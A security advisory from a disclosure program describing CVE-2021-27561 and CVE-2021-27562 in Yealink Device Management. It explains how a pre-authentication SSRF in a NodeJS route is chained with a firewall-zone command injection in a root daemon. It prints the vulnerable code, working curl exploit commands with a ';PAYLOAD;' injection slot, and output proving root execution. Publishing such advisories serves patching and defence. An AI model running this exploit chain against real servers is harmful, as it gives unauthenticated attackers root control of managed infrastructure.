TL;DR
Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges.
Vulnerability Summary
Yealink DM (Device Management) platform – “offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting.”
Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered.
CVE
CVE-2021-27561 and CVE-2021-27562
Credit
Two independent security researchers, Pierre Kim and Alexandre Torres, have reported this vulnerability to the SSD Secure Disclosure program.
Affected Versions
Yealink DM version 3.6.0.20 and prior
Vendor Response
“For the YDMP new version release, we don’t send a notification to the public, since we don’t force the customer to upgrade.
We will release a new version and upload the installation file to the official Yealink website and update the release note as well.
The update will be ready to download from our website in early 2021″
Vulnerability Analysis
By chaining a pre-auth SSRF vulnerability and a command injection vulnerability, it is possible to execute commands as root without authentication against this product, by sending a simple HTTPS request to the remote target.
Nginx configuration
By default, Nginx listens on port 443/tcp to provide TLS connectivity:
# netstat -nlapute|grep 443 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 16290 1180/nginx: master
By analysing the configuration of Nginx, it appears Nginx acts as a reverse proxy and the traffic to / is sent to 127.0.0.1:9880/tcp:
# cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf [...] upstream server_frontend_manager { server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s; } [...] location / { proxy_pass https://server_frontend_manager; }
Nginx will be used to send a specific request to a vulnerable NodeJS application.
NodeJS acting as a relay
The NodeJS dmweb application is running as yealink on 127.0.0.1:9880/tcp:
# netstat -lapute | grep 9880 tcp 0 0 0.0.0.0:9880 0.0.0.0:* LISTEN yealink 21200 2789/node # ps -auxww | grep 2789 yealink 2789 0.4 0.3 1306416 53172 ? Ssl 05:31 0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js
The /usr/local/yealink/dmweb/app.js program is running on the loopback interface but is reachable from Nginx.
Analysis of /usr/local/yealink/dmweb/app.js
This application is a nodejs application with some dependencies. The interesting code is located in /usr/local/yealink/dmweb/api/index.js
17 module.exports = app => { 18 app.use('/premise', router); 19 }; [...] 217 router.get('/front/getPingData', (req, res) => { 218 // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622 ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null}) 219 // return; 220 try { 221 let url = req.query.url; 222 // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传�� 223 let pos = req.query.pos; 224 console.log(`url===${url}`); 225 let headers = { 226 'Content-Type': 'application/json', 227 'User-Agent': req.headers['user-agent'], 228 'x-forwarded-for': commom.getClientIP(req), 229 token: req.session.token 230 }; 231 request.get({ 232 url: url, 233 headers: headers, 234 timeout: 60000, 235 qs: { 236 pos: pos 237 } 238 }).pipe(res); 239 } catch (e) { 240 console.error(e); 241 res.send( 242 errcode.MakeResult( 243 errcode.ERR, 244 e, 245 errcode.INTERNAL_ERROR, 246 'server.common.internal.error' 247 ) 248 ); 249 } 250 });
One line 17, there is a route defined for /premise, allowing to reach additional APIs.
On line 217, there is a definition for the API /premise/front/getPingData.
This function is vulnerable to SSRF:From line 217, it appears it is possible to send a HTTP request by defining an URL in GET (on line 232 from the value defined on line 221 from req.query.url) with specific headers (line 233, from value provided on line 227) and a new HTTP/HTTPS request will then be sent to the remote attacker-controlled URL.
PoC is:
curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/"
This is a basic pre-authenticated SSRF vulnerability allowing to reach internal daemons.
smserver daemon running as root on 0.0.0.0:9600/tcp
By default, the program smserver runs as root on 0.0.0.0:9600/tcp but firewall rules don’t allow external connections to this daemon.
# netstat -laputen|grep 9600 tcp 0 0 0.0.0.0:9600 0.0.0.0:* LISTEN 0 19775 1244/smserver # ps -auxww|grep smserver root 1244 1.6 0.2 1166932 34160 ? SNl 05:28 0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver
smserver is a HTTP server. The previously found SSRF provided by the NodeJS server will provide a relay to send requests to the smserver as shown below:
kali$ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/" {"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}}
By reversing this binary, we found a command injection in the fw_restful_service_get() function located in the module /usr/local/yealink/smserver/mod/mod_firewall.so:

In the function fw_restful_service_get(), the value for the GET variable zone is retrieved by the function fw_restful_get_arg_by_key() on line 16, then there is a construction of arguments on line 22 using snprintf(3).
Finally there is a call to fw_do_cmd() with the crafted command on line 27.
The fw_do_cmd() is just a wrapper to popen(3).
To reach this API, we need to send this HTTP request:
https://127.0.0.1:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;
The resulting command running as root will be:
# firewall-cmd --zone=;PAYLOAD; --list-services
Construction of the final exploit
The final path of exploitation is:
Nginx -> NodeJS -> smserver
By combining the SSRF and the injection, the final exploit is:
kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;"
;PAYLOAD; will be executed as root without authentication on the target.
Example with /usr/bin/id:
kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;" {"list":["uid=0(root)","gid=0(root)","groups=0(root)","context=system_u:system_r:unconfined_service_t:s0"]}
The command was executed as root on the appliance without authentication.
Demo
